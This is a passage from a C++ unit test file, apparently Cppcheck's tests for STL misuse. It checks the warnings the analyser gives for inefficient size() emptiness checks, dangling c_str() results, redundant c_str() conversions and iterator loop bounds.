>= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" 